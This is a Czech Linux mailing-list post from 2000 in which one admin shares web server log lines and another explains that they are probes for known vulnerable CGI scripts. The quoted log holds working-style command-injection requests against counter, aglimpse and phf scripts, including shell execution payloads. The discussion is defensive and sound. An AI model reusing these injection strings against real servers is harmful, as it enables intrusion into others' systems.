pokus o utok pres http ?

Petr Simek petrsi na jcu.cz
Čtvrtek Květen 4 10:50:54 CEST 2000


On Thu, 4 May 2000, Petr Skoda wrote:

> [skoda na alhena httpd]$ more access_log.3
> strauss.udel.edu - - [14/Apr/2000:03:09:22 +0200] "GET
> /cgi-bin/counter/nl/ord/l
> ang=english(1);system("$ENV{HTTP_X}"); HTTP/1.0" 403 333
> strauss.udel.edu - - [14/Apr/2000:03:09:54 +0200] "POST /cgi-bin/test-cgi
> HTTP/1
> .0" 403 287
> strauss.udel.edu - - [14/Apr/2000:03:10:18 +0200] "GET
> /cgi-bin/aglimpse/80|IFS=
> _;CMD=_echo\;echo_id-aglimpse\;uname_-a\;id;eval$CMD; HTTP/1.0" 403 348
> strauss.udel.edu - - [14/Apr/2000:03:10:34 +0200] "POST
> /cgi-bin/phf?Qname=x%0a/
> bin/sh+-s%0a HTTP/1.0" 403 282

Zkousi zname derave cgi skripty jestli je tam nemate.

> *  Petr Skoda                         Tel   : (0204) 649201, l. 361     * 

*------------------------------------------------------------------------*
|                          Petr Simek   APS JU                           |
|                             petrsi na jcu.cz                              |
*------------------------------------------------------------------------*



Další informace o konferenci Linux